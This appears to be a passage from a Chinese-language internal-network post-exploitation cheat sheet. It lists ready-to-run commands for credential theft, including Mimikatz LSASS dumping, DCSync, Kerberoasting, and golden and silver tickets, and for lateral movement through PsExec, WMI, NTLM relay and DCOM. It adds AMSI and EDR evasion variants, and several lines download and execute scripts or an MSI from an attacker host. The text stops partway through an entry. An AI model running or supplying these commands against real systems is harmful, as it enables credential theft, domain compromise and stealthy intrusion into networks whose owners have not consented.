# 内网渗透 / 后渗透速查

_共 128 个结构化 payload，覆盖凭据窃取 / 横向移动 / 权限提升 / 免杀 / 域渗透 / 隧道代理 / 信息收集 / 权限维持_

## 类别索引

| 类别 | 数量 |
|---|--:|
| 凭证窃取 | 20 |
| 横向移动 | 16 |
| 权限提升 | 15 |
| 免杀与规避 | 14 |
| 域渗透攻击 | 14 |
| 隧道代理 | 13 |
| 信息收集 | 12 |
| 权限维持 | 12 |
| Exchange攻击 | 5 |
| ADCS攻击 | 5 |
| SharePoint攻击 | 2 |


## 凭证窃取

### Mimikatz凭证抓取  `mimikatz-creds`
使用Mimikatz抓取Windows系统凭证
子类：**Mimikatz** · tags: `mimikatz` `credentials` `windows` `lsass`

**前置条件：** 需要管理员权限；需要绕过杀毒软件；Windows系统

**攻击链：**

**1. 抓取所有凭证**  _[windows]_
_抓取LSASS中的所有登录凭证_
```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

**2. 导出LSASS**  _[windows]_
_从LSASS转储文件中提取凭证_
```
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
```

**3. Pass-the-Hash**  _[windows]_
_使用NTLM哈希进行Pass-the-Hash攻击_
```
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit"
```

**4. DCSync攻击**  _[windows]_
_模拟DC同步获取域内所有用户哈希_
```
mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit"
```

**5. 导出所有哈希**  _[windows]_
_从LSA导出所有用户哈希_
```
mimikatz.exe "lsadump::lsa /inject" "exit"
```

**6. 黄金票据**  _[windows]_
_生成黄金票据获取域管理员权限_
```
mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit"
```

**7. 白银票据**  _[windows]_
_生成白银票据访问特定服务_
```
mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit"
```

**EDR 绕过变体：**

**1. PowerShell加载**
_通过PowerShell远程加载Mimikatz_
```
IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
```

**2. AMSI绕过**
_禁用AMSI后加载Mimikatz_
```
SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1")
```

**3. 混淆执行**
_通过反射绕过AMSI_
```
$a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
```

**分析：** 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。

**OPSEC：** Mimikatz会被大多数杀软检测；使用混淆或内存加载绕过检测；优先考虑使用其他更隐蔽的工具；操作LSASS会触发EDR告警

---

### Kerberoasting攻击  `kerberoasting`
Kerberoasting攻击获取服务账户哈希
子类：**Kerberos** · tags: `kerberoasting` `kerberos` `active-directory` `spn`

**前置条件：** 域环境；任意域用户凭证；域内存在SPN账户

**攻击链：**

**1. 发现SPN**  _[windows]_
_查询域内所有SPN_
```
setspn -T domain.com -Q */*
```

**2. 请求服务票据**  _[windows]_
_PowerShell请求Kerberos票据_
```
Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com"
```

**3. 导出票据**  _[windows]_
_使用Mimikatz导出Kerberos票据_
```
mimikatz.exe "kerberos::list /export" "exit"
```

**4. Rubeus请求**  _[windows]_
_使用Rubeus进行Kerberoasting_
```
Rubeus.exe kerberoast /stats
```

**5. Impacket GetUserSPNs**  _[linux]_
_使用Impacket获取服务票据_
```
GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
```

**6. 离线破解**  _[linux]_
_使用Hashcat破解Kerberos票据_
```
hashcat -m 13100 kerberoast.hash wordlist.txt
```

**EDR 绕过变体：**

**1. RC4加密**
_使用RC4加密，避免触发告警_
```
Rubeus.exe kerberoast /rc4opsec
```

**分析：** Kerberoasting可以获取服务账户的Kerberos票据，离线破解后得到明文密码。

**OPSEC：** Kerberoasting不需要高权限；只需要任意域用户凭证；建议使用RC4加密避免检测

---

### AS-REP Roasting  `asreproasting`
AS-REP Roasting攻击获取用户哈希
子类：**Kerberos** · tags: `asreproasting` `kerberos` `active-directory`

**前置条件：** 域环境；域中存在禁用Pre-auth的用户

**攻击链：**

**1. Rubeus攻击**  _[windows]_
_使用Rubeus进行AS-REP Roasting_
```
Rubeus.exe asreproast
```

**2. Impacket攻击**  _[linux]_
_使用Impacket获取AS-REP_
```
GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt
```

**3. 查找禁用Pre-auth用户**  _[windows]_
_查找禁用Pre-auth的用户_
```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
```

**4. 破解哈希**  _[linux]_
_使用Hashcat破解AS-REP哈希_
```
hashcat -m 18200 asrep.hash wordlist.txt
```

**分析：** AS-REP Roasting可以获取禁用Pre-auth用户的哈希，离线破解后得到明文密码。

**OPSEC：** 不需要任何凭证；只需要用户名；禁用Pre-auth是错误配置

---

### LaZagne凭证抓取  `lazagne-creds`
使用LaZagne抓取各种应用程序凭证
子类：**工具** · tags: `lazagne` `credentials` `browsers` `applications`

**前置条件：** 目标机器访问权限；LaZagne工具

**攻击链：**

**1. 抓取所有凭证**  _[windows]_
_抓取所有支持的凭证_
```
laZagne.exe all
```

**2. 浏览器凭证**  _[windows]_
_抓取浏览器保存的密码_
```
laZagne.exe browsers
```

**3. WiFi凭证**  _[windows]_
_抓取WiFi密码_
```
laZagne.exe wifi
```

**4. 邮件客户端**  _[windows]_
_抓取邮件客户端密码_
```
laZagne.exe mails
```

**5. 数据库凭证**  _[windows]_
_抓取数据库客户端密码_
```
laZagne.exe databases
```

**6. Linux版本**  _[linux]_
_Linux版本抓取_
```
python laZagne.py all
```

**EDR 绕过变体：**

**1. 混淆执行**
_Base64编码执行_
```
python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))"
```

**分析：** LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。

**OPSEC：** LaZagne会被杀软检测；考虑使用混淆或内存加载；可以只运行特定模块

---

### SAM数据库导出  `sam-dump`
导出Windows SAM数据库获取本地账户哈希
子类：**SAM** · tags: `sam` `hash` `windows` `local`

**前置条件：** 管理员权限；Windows系统

**攻击链：**

**1. reg导出**  _[windows]_
_导出SAM和SYSTEM配置单元_
```
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
```

**2. Impacket解析**  _[linux]_
_使用Impacket解析SAM_
```
secretsdump.py -sam sam.hive -system system.hive LOCAL
```

**3. Mimikatz导出**  _[windows]_
_使用Mimikatz导出SAM_
```
mimikatz.exe "lsadump::sam" "exit"
```

**4. Volume Shadow Copy**  _[windows]_
_从卷影副本复制SAM_
```
vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive
```

**分析：** SAM数据库包含本地账户的NTLM哈希，可以用于破解或Pass-the-Hash。

**OPSEC：** 需要管理员权限；操作注册表可能触发告警；卷影副本方法更隐蔽

---

### NTDS.dit导出  `ntds-dump`
导出Active Directory数据库获取所有域用户哈希
子类：**NTDS** · tags: `ntds` `active-directory` `hash` `domain`

**前置条件：** 域管理员权限；域控制器访问权限

**攻击链：**

**1. ntdsutil快照**  _[windows]_
_使用ntdsutil创建IFM快照_
```
ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit"
```

**2. Volume Shadow Copy**  _[windows]_
_从卷影副本复制NTDS.dit_
```
vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
```

**3. Impacket解析**  _[linux]_
_使用Impacket解析NTDS.dit_
```
secretsdump.py -ntds ntds.dit -system system.hive LOCAL
```

**4. Impacket远程转储**  _[linux]_
_远程转储域哈希_
```
secretsdump.py domain/admin:password@dc_ip -just-dc
```

**5. Mimikatz DCSync**  _[windows]_
_使用DCSync同步所有哈希_
```
mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
```

**分析：** NTDS.dit包含域内所有用户的哈希，可以用于破解或Pass-the-Hash。

**OPSEC：** 需要域管理员权限；DCSync方法更隐蔽；操作可能触发大量告警

---

### GPP密码提取  `gpp-password`
提取组策略首选项中的密码
子类：**GPP** · tags: `gpp` `group-policy` `password` `xml`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 查找GPP文件**  _[linux]_
_查找SYSVOL中的XML文件_
```
find /domain/sysvol -name "*.xml" 2>/dev/null
```

**2. PowerShell查找**  _[windows]_
_PowerShell查找GPP文件_
```
Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"}
```

**3. PowerView提取**  _[windows]_
_使用PowerView提取GPP密码_
```
Get-NetGPPPassword
```

**4. gpp-decrypt**  _[linux]_
_解密GPP密码哈希_
```
gpp-decrypt HASH
```

**5. Impacket提取**  _[linux]_
_使用Impacket提取GPP密码_
```
Get-GPPPassword.py domain/user:password@dc_ip
```

**分析：** GPP密码使用公开的密钥加密，可以被解密获取明文密码。

**OPSEC：** GPP密码是常见的信息泄露点；只需要普通域用户权限；MS14-025修复后新密码不会被存储

---

### Mimikatz高级技巧  `mimikatz-advanced`
Mimikatz高级凭证提取和利用技术
子类：**Mimikatz** · tags: `mimikatz` `credentials` `advanced`

**前置条件：** 管理员权限；Mimikatz工具

**攻击链：**

**1. DCSync攻击**  _[windows]_
_模拟DC同步获取域管哈希_
```
lsadump::dcsync /domain:domain.com /user:Administrator
```

**2. 黄金票据生成**  _[windows]_
_生成黄金票据并注入_
```
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
```

**3. 白银票据生成**  _[windows]_
_生成白银票据访问特定服务_
```
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
```

**4. Skeleton Key植入**  _[windows]_
_植入万能密码mimikatz_
```
privilege::debug
misc::skeleton
```

---

### 浏览器凭证提取  `browser-creds`
从浏览器中提取保存的密码和Cookie
子类：**浏览器** · tags: `browser` `credentials` `chrome` `firefox`

**前置条件：** 用户权限；浏览器已保存密码

**攻击链：**

**1. Chrome密码提取**  _[windows]_
_复制Chrome登录数据库_
```
Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data"
```

**2. Chrome Cookie提取**  _[windows]_
_复制Chrome Cookie数据库_
```
Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies"
```

**3. 使用SharpWeb**  _[windows]_
_使用SharpWeb提取浏览器凭证_
```
SharpWeb.exe --browser chrome
```

**4. 使用HackBrowserData**
_提取Chrome所有数据_
```
hack-browser-data.exe -b chrome
```

---

### DPAPI凭证提取  `dpapi-creds`
从DPAPI保护存储中提取凭证
子类：**DPAPI** · tags: `dpapi` `credentials` `windows`

**前置条件：** 用户权限；DPAPI master key

**攻击链：**

**1. 枚举DPAPI凭据**  _[windows]_
_查找DPAPI保护的凭据文件_
```
Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force
```

**2. 使用Mimikatz解密**  _[windows]_
_解密DPAPI凭据_
```
dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX
```

**3. 获取Master Key**  _[windows]_
_从内存获取DPAPI master key_
```
sekurlsa::dpapi
```

---

### RDP凭证提取  `rdp-creds`
提取保存的RDP连接密码
子类：**RDP** · tags: `rdp` `credentials` `windows`

**前置条件：** 用户权限；已保存RDP密码

**攻击链：**

**1. 查找RDP文件**  _[windows]_
_查找RDP连接文件_
```
Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse
```

**2. 提取RDP密码**  _[windows]_
_列出保存的凭据_
```
cmdkey /list
```

**3. 使用Mimikatz**  _[windows]_
_解密RDP保存的密码_
```
dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX
```

---

### WiFi凭证提取  `wifi-creds`
提取保存的WiFi密码
子类：**WiFi** · tags: `wifi` `credentials` `windows`

**前置条件：** 管理员权限；已连接WiFi

**攻击链：**

**1. 列出WiFi配置文件**  _[windows]_
_显示所有WiFi配置文件_
```
netsh wlan show profiles
```

**2. 提取WiFi密码**  _[windows]_
_显示WiFi密码_
```
netsh wlan show profile name="WiFi_Name" key=clear
```

---

### Windows Vault凭证  `vault-creds`
从Windows凭据管理器提取凭证
子类：**Vault** · tags: `vault` `credentials` `windows`

**前置条件：** 用户权限；已保存凭据

**攻击链：**

**1. 列出Vault凭据**  _[windows]_
_列出所有Vault_
```
vaultcmd /list
```

**2. 导出Vault凭据**  _[windows]_
_列出Windows凭据_
```
vaultcmd /listcreds:"Windows Credentials" /all
```

**3. 使用Mimikatz**  _[windows]_
_从内存提取凭据管理器密码_
```
sekurlsa::credman
```

---

### KeePass凭证提取  `keepass-dump`
从KeePass数据库提取密码
子类：**KeePass** · tags: `keepass` `credentials` `password-manager`

**前置条件：** KeePass数据库文件；主密码或内存转储

**攻击链：**

**1. 查找KeePass数据库**  _[windows]_
_搜索KeePass数据库文件_
```
Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
```

**2. 内存提取主密码**  _[windows]_
_从KeePass进程内存提取_
```
使用KeePassDump或KeeThief从内存提取主密码
```

**3. 使用KeeThief**  _[windows]_
_PowerShell提取KeePass密码_
```
powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw
```

---

### LSA Secrets提取  `lsa-secrets`
从LSA Secrets提取敏感数据
子类：**LSA** · tags: `lsa` `secrets` `windows`

**前置条件：** SYSTEM权限

**攻击链：**

**1. 使用Mimikatz**  _[windows]_
_提取LSA Secrets_
```
lsadump::secrets
```

**2. 使用reg save**  _[windows]_
_导出注册表hive离线分析_
```
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
```

**3. 使用Impacket**  _[linux]_
_离线提取LSA Secrets_
```
secretsdump.py -security security.hive -system system.hive LOCAL
```

---

### 缓存凭证提取  `cached-creds`
提取域缓存凭证
子类：**缓存** · tags: `cached` `credentials` `domain`

**前置条件：** SYSTEM权限；域环境

**攻击链：**

**1. 使用Mimikatz**  _[windows]_
_提取缓存域凭证_
```
lsadump::cache
```

**2. 使用reg save**  _[windows]_
_导出SECURITY hive_
```
reg save HKLM\SECURITY security.hive
```

**3. 离线破解**  _[linux]_
_缓存凭证可离线破解_
```
使用hashcat破解缓存的域凭证
```

---

### DCSync攻击  `dcsync-attack`
模拟域控制器同步获取凭证
子类：**域渗透** · tags: `dcsync` `domain-controller` `mimikatz`

**前置条件：** 域管理员权限或特定权限

**攻击链：**

**1. 使用Mimikatz**  _[windows]_
_使用Mimikatz执行DCSync_
```
mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator
```

**2. 使用impacket**  _[linux]_
_使用impacket执行DCSync_
```
python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip
```

**3. 导出所有哈希**  _[windows]_
_导出域内所有用户哈希_
```
mimikatz # lsadump::dcsync /domain:domain.com /all /csv
```

**4. 权限要求**
_DCSync所需权限_
```
需要以下权限之一:
- Domain Admin
- Enterprise Admin
- 复制目录更改权限
```

---

### 黄金票据攻击  `golden-ticket`
使用krbtgt哈希生成黄金票据
子类：**域持久化** · tags: `golden-ticket` `krbtgt` `kerberos`

**前置条件：** krbtgt账户哈希；域SID

**攻击链：**

**1. 获取krbtgt哈希**  _[windows]_
_获取krbtgt账户哈希_
```
mimikatz # lsadump::lsa /inject /name:krbtgt
```

**2. 获取域SID**  _[windows]_
_获取域SID_
```
whoami /user
或: wmic useraccount get sid
```

**3. 生成黄金票据**  _[windows]_
_生成并注入黄金票据_
```
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
```

**4. 验证票据**  _[windows]_
_验证黄金票据是否有效_
```
klist
或: dir \\dc.domain.com\c$
```

---

### 白银票据攻击  `silver-ticket`
使用服务账户哈希生成白银票据
子类：**域持久化** · tags: `silver-ticket` `kerberos` `service`

**前置条件：** 服务账户哈希；域SID

**攻击链：**

**1. 获取服务哈希**  _[windows]_
_获取服务账户哈希_
```
mimikatz # sekurlsa::logonpasswords
寻找服务账户NTLM哈希
```

**2. 生成白银票据**  _[windows]_
_生成针对特定服务的票据_
```
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt
```

**3. 常见服务类型**
_可伪造的服务类型_
```
CIFS - 文件共享
HTTP - Web服务
LDAP - 目录服务
MSSQLSvc - SQL服务
HOST - 远程管理
```

---

### 无人值守安装凭证提取  `unattended-creds`
从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证
子类：**文件凭证** · tags: `credentials` `unattend` `sysprep` `privilege-escalation` `windows`

**前置条件：** 本地文件系统读取权限；目标使用过无人值守部署

**攻击链：**

**1. 搜索无人值守安装文件**  _[windows]_
_在默认路径搜索Unattend/Sysprep配置文件，这些文件在Windows自动部署后可能残留在系统中_
```
dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul
```

**2. 全盘搜索Unattend文件**  _[windows]_
_当默认路径找不到时，全盘递归搜索所有可能的无人值守文件_
```
# CMD方式
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul

# PowerShell方式
Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName
```

**3. 提取明文密码**  _[windows]_
_从Unattend.xml中提取密码字段，密码可能以明文或Base64编码形式存储在<Password>/<AdminPassword>/<AutoLogon>节点中_
```
# 查看文件内容
type C:\Windows\Panther\Unattend.xml

# 关键字段搜索
findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml

# PowerShell提取
[xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml
$xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value }
```

**4. 解码Base64密码**  _[windows]_
_Unattend.xml中的密码如果以Base64编码存储，需要解码。Windows使用UTF-16LE编码，因此必须用Unicode解码而非ASCII_
```
# PowerShell解码Base64
$encoded = "QQBkAG0AaQBuAEAAMQAyADMA"  # 从XML提取的编码值
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

# 或者使用certutil
echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt
certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt
type C:\temp\decoded.txt
```

**5. 检查其他敏感安装文件**  _[windows]_
_除Unattend.xml外，其他位置也可能存储明文凭证_
```
# 检查GPP(Group Policy Preferences)密码
findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul

# 检查IIS配置文件
type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password"

# 检查VNC密码文件
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul

# 检查WiFi密码
netsh wlan show profiles
netsh wlan show profile name="目标WiFi" key=clear
```

**6. 使用Metasploit自动化**  _[windows]_
_使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证_
```
# Metasploit模块
use post/windows/gather/enum_unattend
set SESSION 1
run

# 也可以使用
use post/multi/gather/firefox_creds
use post/windows/gather/credentials/gpp
use post/windows/gather/cachedump
```

**EDR 绕过变体：**

**1. 绕过文件访问监控**  _[windows]_
_通过卷影副本或流式读取绕过文件访问监控_
```
# 使用Volume Shadow Copy读取被锁定的文件
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml

# 使用PowerShell流式读取避免文件锁
[IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml")
```

**分析：** 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的<UserAccounts>/<AutoLogon>节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见，因为IT部门经常忽略部署后清理这些文件。

**OPSEC：** 读取文件操作通常不会触发警报，但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。

---


## 横向移动

### PsExec横向移动  `lateral-psexec`
使用PsExec进行横向移动
子类：**SMB** · tags: `psexec` `lateral` `smb` `windows`

**前置条件：** 目标机器开放445端口；拥有目标机器管理员凭证；ADMIN$共享可访问

**攻击链：**

**1. 基本使用**  _[linux]_
_使用Impacket的psexec.py连接目标_
```
psexec.py domain/user:password@target_ip
```

**2. 使用哈希连接**  _[linux]_
_使用NTLM哈希进行Pass-the-Hash_
```
psexec.py -hashes :NTLM_HASH domain/user@target_ip
```

**3. 执行命令**  _[linux]_
_在目标机器执行命令_
```
psexec.py domain/user:password@target_ip "whoami"
```

**4. Windows PsExec**  _[windows]_
_使用Sysinternals PsExec_
```
PsExec.exe \\target_ip -u domain\user -p password cmd.exe
```

**EDR 绕过变体：**

**1. 自定义服务名**
_使用自定义服务名避免检测_
```
psexec.py -service-name CustomService domain/user:password@target_ip
```

**2. SMBExec替代**
_使用smbexec.py，不写入磁盘_
```
smbexec.py domain/user:password@target_ip
```

**分析：** PsExec通过SMB协议在目标机器创建服务并执行命令，成功后可获得目标机器的Shell。

**OPSEC：** PsExec会在目标机器创建服务，容易被检测；服务名称和二进制文件可能触发告警；考虑使用更隐蔽的横向移动方式

---

### WMI横向移动  `lateral-wmi`
使用WMI进行横向移动
子类：**WMI** · tags: `wmi` `lateral` `windows` `remote`

**前置条件：** 目标机器开放135端口；拥有目标机器管理员凭证；WMI服务可访问

**攻击链：**

**1. WMI执行命令**  _[windows]_
_使用WMIC远程执行命令_
```
wmic /node:target_ip /user:domain\user /password:pass process call create "cmd.exe /c whoami"
```

**2. Impacket wmiexec**  _[linux]_
_使用Impacket的wmiexec.py_
```
wmiexec.py domain/user:password@target_ip
```

**3. 使用哈希**  _[linux]_
_Pass-the-Hash通过WMI_
```
wmiexec.py -hashes :NTLM_HASH domain/user@target_ip
```

**4. PowerShell WMI**  _[windows]_
_使用PowerShell WMI_
```
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target_ip -Credential $cred
```

**EDR 绕过变体：**

**1. WMI事件订阅**
_通过WMI安装MSI包执行代码_
```
wmic /node:target_ip /user:domain\user /password:pass path win32_product call install /package:"\\attacker\share\malware.msi"
```

**分析：** WMI横向移动不会在目标机器创建服务，相对PsExec更隐蔽。

**OPSEC：** WMI执行不会留下明显的文件痕迹；但WMI活动可能被监控；命令输出通过临时文件获取

---

### Pass-the-Hash攻击  `pass-the-hash`
使用NTLM哈希进行身份验证
子类：**认证攻击** · tags: `pth` `ntlm` `hash` `authentication`

**前置条件：** 获取用户NTLM哈希；目标机器允许NTLM认证；目标机器开放SMB/WMI端口

**攻击链：**

**1. Impacket PtH**  _[linux]_
_使用Impacket进行PtH_
```
psexec.py -hashes :NTHASH domain/user@target_ip
```

**2. CrackMapExec PtH**  _[linux]_
_使用CrackMapExec进行PtH_
```
crackmapexec smb target_ip -u user -H NTHASH -d domain
```

**3. Windows PtH**  _[windows]_
_使用Mimikatz进行PtH_
```
sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH
```

**4. PowerShell PtH**  _[windows]_
_使用PowerShell进行PtH_
```
Invoke-SMBClient -Domain domain -User user -Hash NTHASH -Target target_ip
```

**EDR 绕过变体：**

**1. Overpass-the-Hash**
_将哈希转换为Kerberos票据_
```
sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH /run:cmd.exe
```

**分析：** PtH成功后可以该用户身份访问目标机器，无需明文密码。

**OPSEC：** PtH不会产生登录日志中的密码验证；但会留下网络登录日志；注意时间戳和来源IP

---

### NTLM Relay攻击  `ntlm-relay`
NTLM中继攻击技术
子类：**认证攻击** · tags: `ntlm` `relay` `smb` `authentication`

**前置条件：** 目标机器开放SMB端口；目标机器未启用SMB签名；可诱导目标机器认证

**攻击链：**

**1. Responder监听**  _[linux]_
_启动Responder监听NTLM认证_
```
responder -I eth0 -wrf
```

**2. ntlmrelayx攻击**  _[linux]_
_使用ntlmrelayx进行中继攻击_
```
ntlmrelayx.py -tf targets.txt -smb2support
```

**3. 中继到LDAP**  _[linux]_
_中继到LDAP进行权限提升_
```
ntlmrelayx.py -t ldap://dc_ip -smb2support --escalate-user user
```

**4. IPv6中继**  _[linux]_
_使用IPv6进行NTLM中继_
```
mitm6 -d domain.com & ntlmrelayx.py -t ldap://dc_ip -wh attacker_ip
```

**EDR 绕过变体：**

**1. Drop the MIC**
_移除MIC标志绕过签名验证_
```
ntlmrelayx.py -t smb://target --remove-mic
```

**分析：** NTLM Relay成功后可以获取目标机器的访问权限或提升域权限。

**OPSEC：** 需要目标机器未启用SMB签名；域控制器默认启用签名；IPv6中继更隐蔽

---

### WinRM横向移动  `lateral-winrm`
通过WinRM进行横向移动
子类：**WinRM** · tags: `winrm` `lateral` `powershell`

**前置条件：** WinRM启用；有效凭证

**攻击链：**

**1. PowerShell远程**  _[windows]_
_PowerShell远程会话_
```
Enter-PSSession -ComputerName target -Credential $cred
```

**2. 执行命令**  _[windows]_
_远程执行命令_
```
Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred
```

**3. evil-winrm**  _[linux]_
_使用evil-winrm连接_
```
evil-winrm -i target -u user -p password
```

---

### DCOM横向移动  `lateral-dcom`
通过DCOM进行横向移动
子类：**DCOM** · tags: `dcom` `lateral` `com`

**前置条件：** DCOM启用；有效凭证

**攻击链：**

**1. MMC20.Application**  _[windows]_
_通过MMC DCOM执行命令_
```
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target"))
$com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami","7")
```

**2. ShellBrowserWindow**  _[windows]_
_通过ShellBrowserWindow执行_
```
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","target"))
$com.Document.Application.ShellExecute("cmd.exe","/c whoami","c:\windows\system32",$null,0)
```

**3. Excel DCOM**  _[windows]_
_通过Excel DCOM执行_
```
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","target"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd","/c calc.exe")
```

---

### SSH横向移动  `lateral-ssh`
通过SSH进行横向移动
子类：**SSH** · tags: `ssh` `lateral` `linux`

**前置条件：** SSH服务；有效凭证

**攻击链：**

**1. SSH连接**  _[linux]_
_基础SSH连接_
```
ssh user@target
```

**2. SSH密钥认证**  _[linux]_
_使用私钥连接_
```
ssh -i private_key user@target
```

**3. SSH跳板**  _[linux]_
_通过跳板机连接_
```
ssh -J jump_host user@target
```

---

### RDP会话劫持  `rdp-hijack`
劫持已存在的RDP会话
子类：**RDP** · tags: `rdp` `hijack` `session`

**前置条件：** SYSTEM权限；存在RDP会话

**攻击链：**

**1. 列出会话**  _[windows]_
_列出所有用户会话_
```
query user
```

**2. 劫持会话**  _[windows]_
_劫持指定会话_
```
tscon SESSION_ID /dest:console
```

**3. 使用Mimikatz**  _[windows]_
_使用Mimikatz劫持_
```
ts::sessions
ts::remote /id:SESSION_ID
```

---

### Overpass-the-Hash  `overpass-the-hash`
使用哈希获取Kerberos票据
子类：**PtH** · tags: `pth` `kerberos` `hash`

**前置条件：** 用户NTLM哈希；域环境

**攻击链：**

**1. Mimikatz**  _[windows]_
_使用哈希获取Kerberos票据_
```
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH /ptt
```

**2. Rubeus**  _[windows]_
_使用Rubeus获取票据_
```
Rubeus.exe asktgt /user:Administrator /domain:domain.com /rc4:HASH /ptt
```

**3. Impacket**  _[linux]_
_获取Kerberos票据_
```
getTGT.py domain.com/user -hashes :HASH
```

---

### Pass-the-Ticket  `pass-the-ticket`
使用Kerberos票据进行横向移动
子类：**PtT** · tags: `ptt` `kerberos` `ticket`

**前置条件：** 有效Kerberos票据

**攻击链：**

**1. 导出票据**  _[windows]_
_从内存导出Kerberos票据_
```
sekurlsa::tickets /export
```

**2. 注入票据**  _[windows]_
_注入票据到当前会话_
```
kerberos::ptt ticket.kirbi
```

**3. Rubeus导入**  _[windows]_
_使用Rubeus注入票据_
```
Rubeus.exe ptt /ticket:base64ticket
```

---

### SMBExec横向移动  `lateral-smbexec`
通过SMB执行命令
子类：**SMB** · tags: `smb` `lateral` `exec`

**前置条件：** SMB访问权限；管理员权限

**攻击链：**

**1. Impacket smbexec**  _[linux]_
_使用smbexec执行命令_
```
smbexec.py domain/user:password@target
```

**2. 通过服务执行**  _[windows]_
